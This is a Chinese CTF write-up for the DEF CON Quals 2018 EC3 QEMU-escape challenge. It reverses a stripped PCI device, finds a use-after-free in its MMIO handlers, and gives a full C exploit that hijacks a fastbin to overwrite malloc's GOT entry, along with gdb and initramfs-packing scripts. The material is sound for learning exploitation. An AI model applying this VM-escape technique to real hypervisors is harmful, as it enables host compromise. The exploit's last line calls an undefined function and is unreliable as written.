设备应该就是ooo
关键在于去了符号表。
run.sh没跑起来
ldd 一下
发现缺一大堆库。
其实关键就在于我用的是ubuntu20.04,但是原题目好像是16.04.
然后16.04的很多库都取消掉了,所以我们除了一个一个下载库,另外一个好的方法就是直接用ubuntu16.04.
那显然就跑了起来。
符号表去了,我们只能按照经验来找对应的函数。
推荐直接打开一个有符号表的题,然后对照着来。
比如
所以我们先搜一个 ooo_class_init
这样就找到了我们的init
那个6E64A5应该是realize
我们注意到它只用了memory_region_init_io一次,用来整mmio,所以这道题是没有pmio的。
通过pci_ooo_realize函数可以确定mmio的空间大小为0x1000000。
0xB63300地址为ooo_mmio_ops对应的结构体。
我们通过这个结构体
确定0x6E613C为ooo_mmio_read函数以及0x6E61F4为ooo_mmio_write函数
通过ooo_instance_init字符串可以确定0x6E6732为ooo_instance_init函数。
搜索字符串
0x47D731函数为memory_region_init_io
确定0x6E613C为ooo_mmio_read函数以及0x6E61F4为ooo_mmio_write函数。
然后就都找到了。
现在我们来分析程序。
ooo_mmio_read根据我们之前做过的一个qemu逃逸的源码
可以看得出a1是个指针,a2是addr,a3是size。
可以看到(addr & 0xF0000u)为idx。当(addr & 0xF00000u) >> 20不为15时,将global_buf[idx] + offset中的数据拷贝出来赋值给dest,否则dest为0x42069,返回dest。
ooo_mmio_write
再次根据另一个题源码
从该函数中可以看出根据addr & 0xf00000来进行选择。addr & 0xf0000为idx,这似乎变成了一个堆的菜单题:
cmd 为0时,进行malloc分配,分配的size为传入的value * 8值,分配出来的指针保存到全局变量global_buf[idx]中。
cmd为1时,调用free函数释放掉global_buf[idx]。
cmd为2时,将value写入到global_buf[idx] + offset中。
很明显可以看到这里的uaf漏洞,释放了以后并没有清空指针,形成漏洞。
我们看具体利用过程
首先是qemu的heap确实不好控制。
找到他的id
我们在ooo_class_init结构体里面很明显看到他的id
所以在
/sys/devices/pci0000:00/0000:00:04.0/resource
文件看他mmio内存
我们正式研究思路
首先要将里面清空一下
然后因为qemu会在运行过程中去不断的申请释放堆块,所以我们根据爆破的思想对每一条链表都进行劫持。
然后因为我们的bss上已经伪造好了fastbin的chunk,我们直接劫持。
劫持好以后改成malloc的got表。
然后malloc一下就可以了。
缺个flag文件。反正是通了。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
void mmio_malloc(uint8_t idx, uint32_t size)
{
size = size/8;
uint32_t addr=(idx<<16)|(0<<20);
uint32_t value=size;
mmio_write(addr,value);
}
void mmio_free(uint8_t idx)
{
uint32_t addr=(idx<<16)|0x100000;
uint32_t value=0;
mmio_write(addr, value);
}
void mmio_edit(uint8_t idx, uint16_t offset, uint32_t data)
{
uint32_t addr=(idx<<16)|(0x200000)|(offset);
uint32_t value = data;
mmio_write(addr, value);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: %p\n", mmio_mem);
mmio_malloc(0, 0x68);
mmio_malloc(1, 0x68);
mmio_malloc(2, 0x68);
mmio_malloc(3, 0x68);
mmio_malloc(4, 0x68);
mmio_malloc(10, 0x68);
mmio_free(0);
mmio_edit(0, 0, 0x131798d);
mmio_edit(0, 4, 0);
for(int i=0; i<10; i++) {
mmio_malloc(i, 0x68);
}
for(int i=0; i<10; i++){
mmio_edit(i, 0, 0x78000000); //malloc_got
mmio_edit(i, 4, 0x1130B);
}
uint32_t backdoor = 0x6e65f9;
mmio_edit(12, 0, backdoor); //backdoor
mmio_edit(12, 4, 0);
mmio_add(0, 0x68) //get flag
}
偷的是t1an5t师傅的exp,做了稍微的修改。
要膜一波大佬。
师傅说最后不停getflag是因为循环起来了
我倒感觉这是qemu在不断的申请chunk。
申请完就挂掉了。
首先调试方法我们给出两种。
第一种写一个gdb脚本,gdb启动它。
这个文件就叫debug
file qemu-system-x86_64
b *0x6E613C
b *0x6E61F4
set $a = 0x1317940
run -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo
第二种就是gdb贴上去。
首先启动qemu
然后拿到qemu进程号
要用root
启动gdb
直接贴到进程上面
然后启动exp
或者我们想exp跑到一半的时候去查看,就exp中加个pause。
然后exp跑起来再贴,一个道理。
最后说一下文件的上传。
这个是根据网上的师傅改进的一个makefile。
使用方法是
首先现在文件系统这个目录下再建个目录。
然后把exp.c,跟这个Makefile放进去,make一下就可以了。
原理呢就是
首先gcc编译exp.c
然后把前面的目录的文件系统拿进去
解压
文件系统提取出来
把之前的文件系统压缩包删掉
就把当前目录文件再次打包起来
压缩好
这个文件系统里面已经有exp了
然后再复制出去。
ALL:
gcc -O0 -static -o exp exp.c
cp ../initramfs-busybox-x86_64.cpio.gz ./
gunzip ./initramfs-busybox-x86_64.cpio.gz
cpio -idmv < ./initramfs-busybox-x86_64.cpio
-rm ../initramfs-busybox-x86_64.cpio.gz
-rm ./initramfs-busybox-x86_64.cpio
find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio
cd .. && gzip initramfs-busybox-x86_64.cpio
参考
https://tianstcht.github.io/Q%E4%B9%8B%E9%80%83%E9%80%B8-%E8%B4%B0%E4%B9%8B%E5%9E%8B-DefconQuals-2018-EC3/
https://ray-cp.github.io/archivers/qemu-pwn-DefconQuals-2018-EC3